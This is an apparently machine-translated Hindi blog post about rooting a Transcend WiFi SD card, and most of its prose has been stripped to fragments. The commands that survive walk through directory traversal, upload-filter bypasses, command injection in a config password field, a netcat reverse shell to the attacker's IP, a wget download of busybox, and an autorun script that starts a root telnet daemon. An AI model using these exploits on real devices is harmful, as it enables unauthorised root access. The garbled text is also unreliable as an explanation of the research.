अनुवाद थोड़ा मुक्त है, लेकिन अर्थ खो नहीं गया है। मैं (अनुवादक) लंबे समय तक इस कार्ड में रुचि रखता था और लगभग तुरंत इसे ऑर्डर कर दिया था, आज मैंने इसे पोस्ट ऑफिस से उठाया और मैं इसे पर्याप्त रूप से प्राप्त नहीं कर सकता, लेकिन मैं चाहता हूं कि ट्रांससेन्स अधिक से अधिक हो, और कार्ड, वाईफाई के साथ एक लिनक्स सर्वर है! ढेर सारे पत्र।हाल ही में, मैं एक ट्रांसडेंड वाईफाई एसडी मेमोरी कार्ड का गौरवशाली मालिक बन गया, जो मुझे कुछ ही सेकंड में वाईफाई के साथ अपने "डीएसएलआर" (जो आमतौर पर सोनी नेक्स, लेकिन कॉम्पैक्ट) से फोटो ट्रांसफर करने की अनुमति देता है। और जब से मुझे फ़्लाइट पर फ़ोटो लेना और उनके साथ साझा करना पसंद है, एक एसडी कार्ड जो मेरे फोन पर तस्वीरों को वायरलेस तरीके से स्थानांतरित कर सकता है, एक महान समाधान की तरह लगता है। और ऐसा था! (हालांकि अभी भी ऐसा है)। एक मोबाइल एप्लिकेशन ... नहीं कर सकता है, यह बेहतर होना चाहिए (देखने के लिए 7MB का चित्र क्यों डाउनलोड करें, फिर बाद में "डाउनलोड" पर क्लिक करके इसे डाउनलोड करें!), लेकिन सामान्य तौर पर यह अपना काम करता है!
मुझे आश्चर्य हुआ कि इतना छोटा उपकरण न केवल 16GB या 32GB स्टोर कर सकता है, बल्कि यह एक एम्बेडेड सिस्टम भी है जो वेब सर्वर सहित एप्लिकेशन लॉन्च कर सकता है, वाईफाई के माध्यम से अन्य उपकरणों के साथ संचार कर सकता है और यहां तक कि अपना वायरलेस नेटवर्क भी बना सकता है। लेकिन चैट करना बंद करें: क्या हम इस डिवाइस को और अधिक करने के लिए प्राप्त कर सकते हैं?
यह पोस्ट न केवल वास्तविक कारनामे के लिए लिखा गया था, जो आपको रूट एक्सेस (जेलब्रेक) प्राप्त करने की अनुमति देता है, बल्कि बग्स पर शोध करने और खोजने की प्रक्रिया के बारे में भी बताता है, जिनमें से कुछ सिर्फ मृत समाप्त होते हैं, जबकि अन्य एक पवित्र जड़ की ओर ले जाते हैं।
हैक के लिए तैयार हो रही है
प्रारंभ में, मैंने माना कि कार्ड में किसी प्रकार का एम्बेडेड लिनक्स था। यदि ऐसा है, तो कार्यक्षमता का विस्तार करना काफी सरल होगा! लेकिन पहले, आपको सिस्टम को अपने हाथों में लेने की आवश्यकता है। इससे पहले, इस कार्ड के साथ मैंने केवल एंड्रॉइड और आईओएस एप्लिकेशन का उपयोग किया था, लेकिन यह स्पष्ट था कि पीसी के साथ संवाद करने का सबसे आसान विकल्प वेब इंटरफ़ेस है। और निम्नलिखित विचार तुरंत मेरे सिर पर आ गया:
यदि मोबाइल एप्लिकेशन इतने चमकदार हैं, तो वेब इंटरफ़ेस बेहतर नहीं है ... शायद यह बग से भरा है जो आपके लाभ के लिए उपयोग किया जा सकता है।
!
(IP 192.168.11.254 (
253, ), admin), , . « », « ». , «» , .
«Files» , . , . ? , , . «Parent Directory» URL(%2F "/"):
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
/www, URL:
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
, . /, /bin, /etc . , :( . ! , , .
?dir=/www/sd/../..
,
/
, !

, ! ,
/www/sd
, "../". . , , , !
, , busybox, busybox. , /www/cgi-bin. , .
! , , « », , :)
, , , . — Perl . Perl open(), , , shell , «» (pipe).
open("cat /etc/passwd |")
. open() , , . , .
, open() .
kcard_upload.pl
:

!
kcard_upload.pl
,
cgi-bin
. . facepalm: , ! ?
kcard_upload.pl
, ,
$basename
.
,
$basename
,
GetBasename($upfile)
.
$upfile
( ). , , HTML . ,
GetBasename
. ( «» ../../ ) .
,
$basename
, .. , , .
,
kcard_upload.pl
PNG, JPG, BMP GIF .
? !
, , , , .

, , , .
"\"
.
/\.GIF$/
,
/.GIF/
, , ,
/hi/helPNGlo/asdf.something
. !
, ( ), , . .
, ,
GetBasename()
$basename
.
GetBasename()
.
/path/to/file.txt
file.txt
. , -
"../../bin/our-malicious.script"
,
"our-malicious.script"
DCIM/198_WIFI/

,
GetBasename()
, .
: windows ( OC windows). ! windows , . ! :
/////\////
, windows, ( ), .
////
!
/PNG/something\/../../our-malicious.script . . — . !
../DCIM/198_WIFI
,
/www/cgi-bin
, (
../sd/DCIM/198_WIFI
). , . . , ( , ?). , . - .
( , ,
kcard_upload.pl
,
wifi_upload
, HTTP POST .)
! , . , . «» . , .
shell perl , , shell !
system()
— shell perl .
system()
.pl .cgi , , . shell perl —
qx{}
, . , — ,
qx{}
. , , shell . ! .. shell , .
kcard_save_config_insup.pl
, :

,
$update_auth
,
$LOGIN_USR
$LOGIN_PWD
. , . ! , «Settings».
192.168.11.254/kcard_edit_config_insup.pl
. . , , ! -, , shell
$update_path
. , . , # ( ),
> /mnt/mtd/config/ia.passwd
.
, :
admin; echo haxx > /tmp/hi.txt #
, , . , javascript, , . Chrome Form Editor .
, ,
/tmp
, . .
«admin», . ( , ).
root?
, shell . , .
/usr/bin
, shell: netcat (nc), telnet . shell , , , shell (
, ). , — Netcat:
nc 192.168.11.11 1337 -e /bin/bash
netcat ( IP 192.168.11.11) 1337 bash . , , , «»
admin; nc 192.168.11.11 1337 -e /bin/bash #
. . telnet . ? nc, telnet
/usr/bin
, ! busybox SD Linux. . , telnet netcat stdout stderr /tmp/hi.txt, :
nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt
. hi.txt, :
nc: applet not found
, nc. ! , ? ! :)
,
wget
transcend- , . busybox :))) , , busybox
http://busybox.net/downloads/binaries/latest/, busybox-armv5l
wget 192.168.11.11/busybox-armv5l
,
/www/cgi-bin
.
chmod a+x /www/cgi-bin/busybox-armv5l
, .
shell! 1337
nc -vv -l 1337
, SD
/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
. busybox ,
/www/cgi-bin/busybox-armv5l
shell ! ,
/www/cgi-bin/busybox-armv5l id
, root-!

, , SD ( , ). , - «» perl ,
kcard_login.pl
, , . wsd.conf javascript . , . javascript!

,
192.168.11.254/cgi-bin/kcard_login.pl . .

!
(rcS.p rcS), ,
autorun_fu.sh
autorun.sh
. . , Transcend!

(
autorun.sh
), busybox-armv5l ,
telnet
:
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
:

!
, , . keyasic: